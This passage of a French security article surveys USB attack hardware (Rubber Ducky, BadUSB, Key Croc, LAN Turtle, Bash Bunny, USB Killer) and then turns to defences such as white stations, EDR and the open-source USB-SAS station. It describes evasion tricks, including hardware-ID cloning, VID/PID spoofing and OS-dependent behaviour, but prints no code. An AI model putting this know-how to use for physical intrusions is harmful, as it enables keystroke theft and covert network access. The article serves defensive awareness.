En outre, il convient de noter que cette personnalisation est également envisageable avec un Rubber Ducky, en retirant son boîtier d’origine ou en modifiant ce dernier. Toutefois, cela implique un investissement initial bien plus élevé (environ 75 euros), ce qui peut limiter son attrait pour des campagnes nécessitant de nombreux dispositifs ou des prototypes uniques. En d'autres termes, le Rubber Ducky permet des personnalisations similaires, mais il faut en avoir les moyens, ce qui en fait un choix plus adapté aux professionnels ou aux scénarios exigeant des solutions clé en main prêtes à l'emploi.

Performance et puissance matérielle

Enfin, sur le plan technique, le Rubber Ducky utilise un matériel plus puissant et optimisé que l’ATtiny85 des BadUSB. Cela permet une exécution plus rapide et fiable des scripts complexes, renforçant son attrait pour les professionnels cherchant un dispositif prêt à l’emploi et efficace.

4. Langage de script dédié et extensibilité

Rubber Ducky : Ducky Script et son écosystème avancé

Le Rubber Ducky bénéficie d'un atout majeur : un langage de script dédié, le Ducky Script. Conçu spécifiquement pour tirer parti des capacités HID (Human Interface Device) du dispositif, ce langage simplifie considérablement la création de scénarios complexes d'injection de commandes. Grâce à sa syntaxe intuitive, il est accessible aussi bien aux débutants qu'aux professionnels.

Caractéristiques du Ducky Script :
  • Contrôle de flux avancé : prise en charge des variables, structures conditionnelles (if/then), boucles (while), et fonctions pour développer des charges utiles dynamiques.
  • Randomisation : ajout d’éléments aléatoires dans les scripts pour rendre les attaques moins prévisibles.
  • Extensions modulaires : le Ducky Script 3.0 introduit des extensions qui permettent de réutiliser des blocs de code. Ces "snippets" agissent comme des briques modulaires pour accélérer le développement et faciliter la maintenance des charges utiles.
Exemples d'extensions :
  • Détection du système hôte (OS Detection) : adaptez automatiquement la charge utile en fonction du système d’exploitation cible.
  • Auto-destruction (Self-Destruct) : désactivez ou effacez la charge utile après son exécution pour réduire les traces.
  • Payloads adaptatifs : automatisez des comportements complexes, comme l'exécution de commandes spécifiques basées sur l'environnement de la cible.

Un IDE complet : Payload Studio

Hak5 propose un environnement de développement intégré (IDE) dédié, appelé Payload Studio, conçu pour maximiser l’efficacité des utilisateurs. Cet outil simplifie le processus de développement, de test et de déploiement des charges utiles. Il inclut des fonctionnalités telles que :

  • Éditeur avancé avec mise en évidence syntaxique et suggestions.
  • Simulateur intégré pour tester les charges utiles avant déploiement.
  • Bibliothèque d’extensions et de fonctions préconfigurées pour accélérer le développement.

Une communauté active et une bibliothèque croissante

Le Rubber Ducky s’intègre à une communauté dynamique qui partage régulièrement des scripts et des idées. La plateforme PayloadHub (https://payloadhub.com/blogs/payloads) propose une vaste bibliothèque de charges utiles prêtes à l’emploi. Ces scripts couvrent un large éventail de cas d’utilisation, allant des démonstrations pédagogiques aux attaques sophistiquées. Les utilisateurs peuvent y trouver des exemples de code source pour :

  • Keylogging (enregistrement des frappes clavier).
  • Reverse shells (coquilles inversées).
  • Escalade de privilèges et autres exploitations avancées.

BadUSB : Pas de langage natif dédié

En revanche, les dispositifs BadUSB, basés sur des microcontrôleurs comme l'ATtiny85, n’ont pas de langage dédié. Ils nécessitent souvent des outils supplémentaires tels que DuckyEncoder ou Duck2Spark pour convertir les scripts Ducky Script en un format compatible, augmentant ainsi la complexité du processus de développement. De plus, l’absence d’un écosystème logiciel structuré et d’un IDE limite leur simplicité d’utilisation et leur extensibilité.

Conclusion : Un outil pensé pour les professionnels

Le Rubber Ducky, grâce à son langage dédié, ses outils de développement avancés, et sa bibliothèque croissante de scripts, offre une expérience utilisateur inégalée pour la création et l’exécution de charges utiles HID. Bien que les BadUSB soient une solution économique et flexible, ils manquent des fonctionnalités intégrées et de la facilité d’utilisation qui font du Rubber Ducky un choix privilégié pour les utilisateurs recherchant un déploiement rapide, professionnel, et évolutif.

  • Key Croc : Le Keylogger Physique

Le Key Croc, développé par Hak5, est un keylogger physique : c'est un outil polyvalent, combinant enregistrement des frappes clavier, injection de commandes, exploitation réseau, et gestion à distance via Wi-Fi. Grâce à ses fonctionnalités avancées, il s'impose comme un implant redoutable.

  1. Fonctionnalités principales

Le Key Croc enregistre toutes les frappes clavier de manière discrète et efficace :

  • Capture en temps réel : Toutes les frappes sont enregistrées dans des fichiers journaux stockés dans le répertoire "loot".
  • Détection des mots-clés : Grâce à un système de correspondance avancé (regex inclus), il peut déclencher des charges utiles dès qu'un mot ou une expression spécifique est détecté, même si des corrections (comme des backspaces) sont effectuées.
  • Exploitation conditionnelle : Imaginez capturer des frappes après une séquence comme [CTRL-ALT-DELETE] et utiliser ces informations pour exfiltrer des données en toute discrétion.

Le Key Croc peut simuler plusieurs périphériques USB de confiance pour maximiser ses capacités d'attaque. notamment :

  • Mode HID (Human Interface Device) : Injection de frappes clavier malveillantes en toute transparence.
  • Mode Ethernet : Emulation d'une carte réseau USB, permettant d'accéder directement au réseau de la cible, tout en contournant les IDS et pare-feu.
  • Mode stockage : Présentation comme un périphérique de stockage USB standard pour accéder facilement aux données capturées.

Prêt à l’emploi dès la sortie de la boîte :

  • Clonage automatique des identifiants matériels du clavier connecté, garantissant une évasion de détection optimale.
  • Configuration simplifiée via un bouton caché qui transforme le Key Croc en clé USB, permettant une configuration rapide en modifiant un simple fichier texte.

Le Key Croc est prêt à l'emploi dès sa sortie de boîte, offrant une simplicité d'utilisation exceptionnelle. Il clone automatiquement les identifiants matériels du clavier connecté (Device ID, Vendor ID, etc.), garantissant une évasion de détection efficace par les systèmes de sécurité. De plus, un bouton caché permet de basculer en mode configuration, où le dispositif est présenté comme une clé USB classique. Cette fonctionnalité rend les ajustements de paramètres et le chargement de charges utiles aussi simples que la modification d’un fichier texte.


Il existe une large gamme d’équipements spécialisés pour diverses attaques USB. Parmi eux, le LAN Turtle, dissimulé dans un boîtier d’adaptateur USB-Ethernet, permet d’assurer un accès distant furtif via SSH, tout en collectant des renseignements réseau et en réalisant des attaques de type man-in-the-middle (MITM). Ce dispositif est conçu pour s'insérer discrètement dans une infrastructure en émulation d’interface réseau et peut être configuré pour établir une connexion persistante vers un serveur distant contrôlé par l'attaquant.

Le Bash Bunny, quant à lui, combine plusieurs fonctionnalités, notamment HID, stockage, et réseau, pour orchestrer des attaques complexes impliquant l'injection de commandes, l’exfiltration de données et des manipulations réseau avancées.

Les USB Killers sont des dispositifs destructeurs capables de générer des surtensions électriques, infligeant des dommages irréversibles aux circuits des appareils connectés.

Ces outils, et bien d’autres, démontrent la polyvalence et la dangerosité des attaques basées sur USB dans des scénarios à la fois offensifs et destructeurs.


Solution apportée

L’attaque par BadUSB repose principalement sur la capacité d’un périphérique à usurper l’identité d’un périphérique HID (Human Interface Device) légitime. Cette technique permet d’exécuter des commandes arbitraires sur la machine cible tout en contournant les solutions de sécurité traditionnelles, qui accordent une confiance implicite à ces dispositifs. Cependant, encore une fois, les menaces ne se limitent pas aux BadUSB ; des équipements comme le Bash Bunny, permettant des attaques réseau, le LAN Turtle, conçu pour l’infiltration réseau persistante, ou encore les USB Killers, capables de provoquer des dommages matériels irréversibles, illustrent la diversité des risques.

Défis majeurs posés par ces attaques

Deux défis majeurs rendent ces attaques particulièrement problématiques :

1. L’inefficacité du formatage classique

Les dispositifs USB malveillants embarquent des microcontrôleurs programmables, comme l’ATmega32U4 ou des puces STM32, capables de conserver un comportement malveillant indépendamment des opérations de formatage. Contrairement aux idées reçues, un formatage conventionnel ne supprime que les données utilisateur stockées dans la mémoire flash, sans altérer le firmware intégré au microcontrôleur. Celui-ci demeure intact et prêt à s'exécuter dès la prochaine connexion au système.

Par conséquent, une stratégie de désinfection basée sur des stations blanches qui monteraient le périphérique, copieraient les fichiers sur une machine sécurisée, puis procéderaient à un formatage, se révèle totalement inefficace. L'attaquant conserve un contrôle persistant sur l’appareil, prêt à déclencher une attaque à tout moment.

2. La complexité de la détection des périphériques USB malveillants

Mettre en place une supervision proactive basée sur la détection des périphériques USB nouvellement connectés pourrait sembler une solution efficace. Toutefois, cette approche se heurte à plusieurs limites :

  • Comportement dynamique des dispositifs malveillants :
    Un périphérique malveillant peut être programmé pour détecter l’environnement du système hôte et ajuster son comportement en conséquence.
    • Par exemple, il peut apparaître comme un périphérique HID (clavier) sous Windows pour injecter des commandes malveillantes.
    • Sous Linux, il peut masquer son activité en se comportant comme un périphérique de stockage de masse, rendant sa détection beaucoup plus difficile.
  • Absence de mécanismes d’authentification :
    L’architecture USB repose sur une relation de confiance implicite, dans laquelle l’hôte interroge le périphérique via des descripteurs USB (Device, Configuration, Interface, Endpoint), sans effectuer de vérifications approfondies sur la légitimité du firmware ou de l’identité réelle du périphérique.

Cette flexibilité, bien qu’indispensable pour l’interopérabilité, représente une opportunité pour les attaquants qui peuvent en tirer parti pour enchaîner des attaques en simulant plusieurs interfaces USB, telles que HID, stockage et réseau, afin de déjouer les systèmes de défense.

Une problématique structurelle profonde

Les vulnérabilités de l'architecture USB sont fondamentales et relèvent d'un manque de mécanismes d'authentification et d'intégrité des périphériques. Une remédiation complète nécessiterait :

  • L’intégration de signatures numériques pour valider l’authenticité des firmwares USB.
  • L’ajout de mécanismes de contrôle d’intégrité permettant de vérifier si un périphérique a été compromis ou reprogrammé.
  • Une refonte des protocoles USB pour restreindre la capacité des périphériques à déclarer dynamiquement plusieurs interfaces.

Contre-mesures et bonnes pratiques de protection

En attendant une refonte structurelle du protocole USB, il est impératif d’adopter des stratégies de défense adaptées pour réduire les risques liés aux périphériques malveillants. Chaque environnement possède ses propres contraintes et exigences de sécurité, nécessitant une analyse des risques approfondie pour déterminer les mesures les plus adaptées. Une centrale nucléaire et une entreprise commerciale n’ont pas les mêmes enjeux, ni le même niveau d'exposition aux menaces, bien qu'un facteur humain (ingénierie sociale, erreur humaine) demeure un vecteur commun d’attaque.

Ainsi, plusieurs approches de défense doivent être envisagées, chacune avec ses avantages et limitations :

1. Stations blanches : contrôle et désinfection

Les stations blanches permettent d’analyser et d’isoler les fichiers contenus sur les périphériques USB avant de les autoriser sur le réseau de production. Cependant, leur efficacité dépend de plusieurs facteurs :

  • Limitations techniques : La plupart des stations fonctionnent sous Linux, et certains périphériques peuvent adapter leur comportement en conséquence pour éviter la détection (ex. simulation d’un périphérique Mass Storage sous Linux et HID sous Windows).
  • Limitations opérationnelles : L’analyse des fichiers ne protège pas contre des attaques basées sur la reprogrammation du firmware USB (BadUSB).
☢️
Risques : Une station blanche mal configurée ou obsolète pourrait devenir elle-même un vecteur d’infection.

2. Politiques strictes de gestion des ports USB

Mettre en place des politiques de gestion des ports USB repose sur deux axes :

  • Mesures techniques : Blocage des ports USB non autorisés, autorisation exclusive via une liste blanche basée sur les identifiants matériels (VID/PID).
  • Mesures organisationnelles : Adoption d’une charte informatique stricte imposant des règles claires sur l’utilisation des périphériques USB (ex. interdiction des clés personnelles, stockage sécurisé des clés d'entreprise).
☢️
Risques : Les attaquants peuvent usurper des VID/PID autorisés pour contourner ces mesures, rendant inefficace la restriction basée sur des listes blanches. De plus, des contraintes opérationnelles peuvent survenir, en particulier pour les équipes ayant besoin d’utiliser fréquemment des supports USB légitimes, ce qui peut entraîner des ralentissements et une perte de productivité. Enfin, le facteur humain reste un défi majeur : malgré des politiques strictes, il est fréquent que certains employés contournent les règles de sécurité, par ignorance, commodité ou sous la pression du travail, introduisant ainsi un risque important pour l’entreprise.

3. Surveillance comportementale via EDR et solutions avancées

Les solutions Endpoint Detection and Response (EDR) assurent une surveillance en temps réel (notamment des périphériques USB connectés) en analysant leur comportement et en détectant les activités suspectes. Elles sont capables d’identifier et de bloquer des tentatives d’exécution de commandes suspectes, telles que des scripts (mais également de simples commandes) PowerShell malveillants, l’accès à des fichiers sensibles, ou encore des transferts de données inhabituels.

L’intégration avec des solutions SIEM (Security Information and Event Management) permet de corréler les événements (USB) avec d'autres indicateurs de compromission (tentatives d’accès non autorisées, élévation de privilèges suspecte, etc.), fournissant ainsi une visibilité complète et des capacités de réponse automatisée face aux menaces potentielles.

☢️
Risques : Les solutions EDR avancées nécessitent un calibrage précis afin de réduire les faux positifs, qui pourraient perturber les opérations normales et générer des alertes inutiles. De plus, un attaquant expérimenté pourrait déployer des tactiques d’évasion sophistiquées. La dépendance aux journaux et à la télémétrie collectée peut limiter l'efficacité face aux attaques non enregistrées ou lorsque les périphériques opèrent en dehors de la portée du SIEM. Le coût élevé des solutions EDR/SIEM constitue une barrière pour les petites et moyennes entreprises. Leur mise en œuvre nécessite non seulement un investissement financier important, mais également des ressources humaines qualifiées pour assurer la surveillance et la gestion des alertes. En outre, malgré leur sophistication, les EDR ne sont pas infaillibles, et de nombreuses techniques de contournement existent. Les attaquants exploitent des failles dans la configuration des solutions de sécurité.

4. Sensibilisation des utilisateurs : le maillon humain

Aussi performantes que soient les solutions techniques, l'utilisateur demeure le maillon le plus vulnérable en matière de sécurité (USB). Une sensibilisation efficace est essentielle pour réduire les risques liés aux attaques par ingénierie sociale, telles que :

  • L’introduction involontaire de clés USB compromises, récupérées dans des lieux publics (technique du USB Drop Attack).
  • La connexion de périphériques offerts ou prêtés sans vérification préalable, souvent exploités par des attaquants pour introduire des malwares.
  • Le non-respect des politiques de sécurité, qu'il s'agisse d'une méconnaissance des risques ou d'un comportement volontairement négligent, contournant ainsi les restrictions mises en place par les équipes IT.
☢️
Risques : Malgré les efforts de sensibilisation, il faut anticiper une certaine résistance ou non-conformité de la part des utilisateurs. Par habitude, commodité ou simple négligence, certains employés continueront à utiliser des périphériques USB non autorisés. La fatigue de la sécurité peut s’installer, où les utilisateurs, submergés par les règles et procédures, cherchent des raccourcis compromettant la sécurité du système. En outre, la formation doit être continue, évolutive et engageante, afin de s’adapter aux nouvelles menaces USB et maintenir l'attention des employés sur les bonnes pratiques.

Toutes ces solutions présentent des avantages et des limites, et leur efficacité dépend de leur intégration cohérente dans une stratégie de sécurité globale. Le choix de la meilleure approche doit être contextualisé en fonction des besoins spécifiques de l’organisation, des menaces anticipées, et des ressources disponibles.

Il est essentiel de comprendre qu’aucune solution ne garantit une protection à 100 %. Comme l’a souligné le FBI : « Ce n’est pas une question de savoir si une entreprise sera attaquée, mais quand. » Les attaques évoluent constamment, et il est donc primordial d'adopter une approche proactive et adaptative.

L’analyse des risques est une étape cruciale pour identifier les vulnérabilités spécifiques à un environnement donné et adapter les mesures de protection en conséquence. Une station blanche bien implémentée, combinée à un EDR robuste, permet de réduire considérablement les risques d’attaque USB dans la majorité des cas. Toutefois, face à des menaces avancées comme celles des APT (Advanced Persistent Threats), disposant de ressources financières conséquentes, la protection devient plus complexe et nécessite une veille et un renforcement constant des dispositifs de sécurité.

Dans la plupart des cas, une combinaison de stations blanches robustes et d'un EDR de qualité permet de limiter efficacement les risques. Cependant, il est crucial d’évaluer chaque situation individuellement pour trouver le juste équilibre entre sécurité, coût, et contraintes opérationnelles.


Mon expérience personnelle et professionnelle :

Analyse de risques et mise en place d’une station blanche

Ayant eu l’occasion de réaliser une analyse de risques approfondie et de participer à la mise en place d’une solution de sécurisation des périphériques USB, je souhaite partager les réflexions et décisions qui ont guidé ce projet.

Identification des problématiques

L’élaboration de la stratégie de sécurité s’est appuyée sur une analyse rigoureuse des risques, permettant d’établir un plan d’action clair et adapté aux menaces identifiées, tout en prenant en compte les contraintes opérationnelles et les mesures préventives physiques.

En effet, la sécurité ne se limite pas au volet technique : les intrusions physiques représentent un risque majeur. Sans un contrôle rigoureux des accès, la meilleure des solutions logicielles peut être compromise. C’est pourquoi le renforcement des contrôles d'accès aux infrastructures a été une priorité, en complément des mesures techniques.

Par ailleurs, la recherche d'un équilibre entre sécurité et expérience utilisateur a été un élément central de la réflexion. Il est essentiel que les solutions déployées soient faciles à adopter par les utilisateurs tout en garantissant un niveau de sécurité adéquat.

Mise en place d’un système de désinfection

Suite à ces constats, deux solutions complémentaires ont été définies :

  1. Une solution personnalisée pour les médias de confiance, permettant une gestion simplifiée et rapide pour les périphériques jugés peu risqués.
  2. Une station blanche conçue pour traiter les périphériques suspects, offrant un niveau de sécurité renforcé, capable de lutter contre des attaques avancées comme les BadUSB et autres menaces sophistiquées.

Ces solutions ont été accompagnées de mesures organisationnelles telles que :

  • Sensibilisation du personnel,
  • Renforcement des contrôles d'accès physiques,
  • Intégration de directives strictes dans la charte informatique.

Afin d’assurer une adoption fluide, il a été proposé d’affecter des techniciens dédiés à l’assistance des utilisateurs, garantissant ainsi une manipulation correcte des équipements tout en réduisant les erreurs humaines. Toutefois, l’objectif à terme était de rendre cette solution suffisamment intuitive pour être utilisée de manière autonome par les employés.

Première solution : un processus de désinfection automatisé

La première solution mise en œuvre repose sur un processus de désinfection automatisé, s’appuyant sur une série de programmes et scripts personnalisés, développés en plusieurs langages adaptés aux besoins spécifiques :

  • Scripts Python et PowerShell pour l’automatisation des analyses et traitements,
  • Utilisation de règles Yara pour détecter les fichiers suspects et identifier des signatures de menaces connues,
  • Intégration de l’API VirusTotal pour croiser les résultats avec des bases de données de menaces en ligne,
  • Scan via l'EDR déployé dans l'infrastructure,
  • Fonction d’envoi automatique des fichiers nettoyés, sous format compressé (ZIP), vers l’utilisateur final via le réseau ou par email.

Afin de garantir un environnement sécurisé pour l'exécution de ces opérations, un poste de travail dédié, isolé sur un VLAN spécifique, a été mis en place. Ce cloisonnement réseau permet de prévenir toute compromission potentielle du système global en cas de détection d’une menace.

Deuxième solution : une station blanche sécurisée

Si la première solution reste intéressante et pourrait faire l’objet d’un développement futur en tant que solution alternative complète, je ne partagerai pas davantage de détails à son sujet, étant donné qu’elle résulte d’un travail rémunéré.

En revanche, la deuxième solution, totalement open source, représente une alternative complète, et est notamment utilisée par des organismes sensibles comme le Commissariat à l'énergie atomique et aux énergies alternatives (CEA).

Présentation de la solution

La solution étudiée, baptisée USB-SAS, est développée en Rust et conçue pour fonctionner sous Debian. Son architecture repose sur une approche inspirée des micro-noyaux, offrant un cloisonnement efficace des différentes couches du système pour une meilleure sécurité.

Schéma détaillé de l'architecture de la solution USB SAS, illustrant les différentes couches de communication et leur interaction avec le système hôte.
Architecture de la solution USB SAS, mettant en avant les mécanismes de gestion sécurisée des périphériques USB grâce à une conception en micro-noyau et un traitement en espace utilisateur pour limiter les risques liés aux attaques USB.

Chaque couche — USB, SCSI, et système de fichiers — est traitée indépendamment par des processus exécutés en espace utilisateur (userland), communiquant entre eux via un système de communication inter-processus (IPC). Cette approche modulaire permet d'isoler les composants critiques et de limiter la surface d’attaque.

Mesures de sécurité renforcées

  1. Suppression des drivers USB du noyau
    Tous les drivers USB standards de Linux sont désactivés ou supprimés, y compris le module USB HID (responsable des claviers et souris). Seul le core USB, chargé de la gestion du contrôleur USB physique, est conservé. Cette réduction drastique de la surface d’attaque permet d’éliminer les risques associés aux multiples pilotes USB intégrés par défaut dans le noyau.
  2. Isolation des composants en userland
    Pour minimiser les risques en cas de compromission, les processus qui traitent les données sont exécutés en espace utilisateur, avec des droits restreints.
    Une règle udev attribue les permissions d'accès aux périphériques USB bruts à un utilisateur spécifique, et les échanges s’effectuent via la bibliothèque libUSB, garantissant une gestion fine des périphériques sans dépendance aux modules du noyau.
  3. Absence de support pour les claviers USB
    La machine est volontairement conçue pour ne pas prendre en charge les claviers USB, afin de limiter les attaques par BadUSB.
    Un gestionnaire minimaliste de périphériques HID a été développé en espace utilisateur pour supporter uniquement les souris et écrans tactiles, implémentant le strict nécessaire pour leur fonctionnement. Les périphériques HID sont isolés sur un port USB dédié défini par l’administrateur, rendant impossible la prise en charge d'autres périphériques déguisés en HID malveillants.
  4. Protection contre l'espionnage des flux USB
    Même si un périphérique USB tente de capturer le trafic descendant des autres périphériques (attaque par eavesdropping), il ne pourra rien récupérer d’utile.
    En effet, la seule information transmise vers le périphérique est la copie des fichiers qu’il a lui-même fournis, empêchant toute fuite de données sensibles.

Interface utilisateur et fonctionnement

L'interaction avec la station blanche se fait via une interface web sécurisée, permettant aux utilisateurs de :

  • Scanner les fichiers stockés sur les périphériques connectés à l'aide d'antivirus intégrés,
  • Transférer les fichiers depuis une clé USB suspecte vers une seconde clé propre, évitant ainsi de contaminer le poste client.

Il est également possible de déployer la station sans clavier, souris, ou écran, et d'utiliser exclusivement l'interface web pour un contrôle distant via le réseau.

Système de désinfection par double clé USB

Capture d'écran de l'interface utilisateur de la solution USB SAS.
Interface utilisateur de la solution USB SAS.

L’un des atouts majeurs de cette solution est le système de désinfection par double clé USB, qui permet de répondre efficacement aux menaces comme les BadUSB.

  • Lorsqu’une clé USB suspecte est insérée, les fichiers sont copiés sur une deuxième clé USB saine.
  • Cela permet de récupérer les fichiers essentiels tout en mitigeant les risques liés à des firmwares malveillants résidant sur la clé d’origine, que le simple formatage ne permettrait pas d’éliminer.

Bien que cette solution ne puisse garantir une sécurité absolue (comme tout système), elle représente une avancée significative dans la protection des environnements sensibles contre les menaces USB modernes.

Pour ceux qui souhaitent explorer cette solution, voici le lien vers le projet sur GitHub : GitHub - USB-SAS


Conclusion

Les périphériques USB sont omniprésents dans notre quotidien, mais ils représentent aussi un risque de sécurité souvent sous-estimé. Des attaques comme BadUSB, ou des dispositifs spécialisés comme le Rubber Ducky et le Bash Bunny, montrent à quel point une simple clé USB peut devenir un vecteur de menace puissant. Qu'il s'agisse de l'injection de commandes malveillantes, de l'exfiltration de données ou même de dommages physiques, les scénarios d'attaques sont variés et difficiles à contrer efficacement.

Il est clair qu'aucune solution unique ne permet d'éliminer totalement le risque. Une combinaison de plusieurs mesures est nécessaire pour limiter au mieux l'impact potentiel des attaques USB, comme :

  • L’utilisation de stations blanches sécurisées, permettant d’analyser et de transférer les fichiers sans risque d'exécution malveillante.
  • Un contrôle strict des ports USB, restreignant l’accès aux seuls périphériques approuvés et surveillés.
  • Des solutions de sécurité avancées, comme les EDR et les SIEM, capables de détecter les comportements suspects en temps réel et de fournir une visibilité accrue.
  • Une sensibilisation continue des utilisateurs, car la meilleure technologie ne peut pas toujours compenser une erreur humaine.
  • Un renforcement de la sécurité physique, limitant l’accès aux zones sensibles pour empêcher l’introduction de dispositifs malveillants par des insiders ou des intrus.

Malgré tout, il faut rester réaliste : aucune solution ne garantit une protection absolue. Un attaquant motivé et doté de ressources suffisantes finira toujours par trouver une faille, c’est pourquoi il est essentiel d’adopter une approche pragmatique basée sur l’analyse des risques. Ce qui fonctionne dans une entreprise industrielle ultra-sécurisée ne sera pas nécessairement adapté à une PME, et vice versa.

L'important est de trouver un équilibre entre sécurité et praticité, tout en restant conscient que le risque zéro n'existe pas.

Read more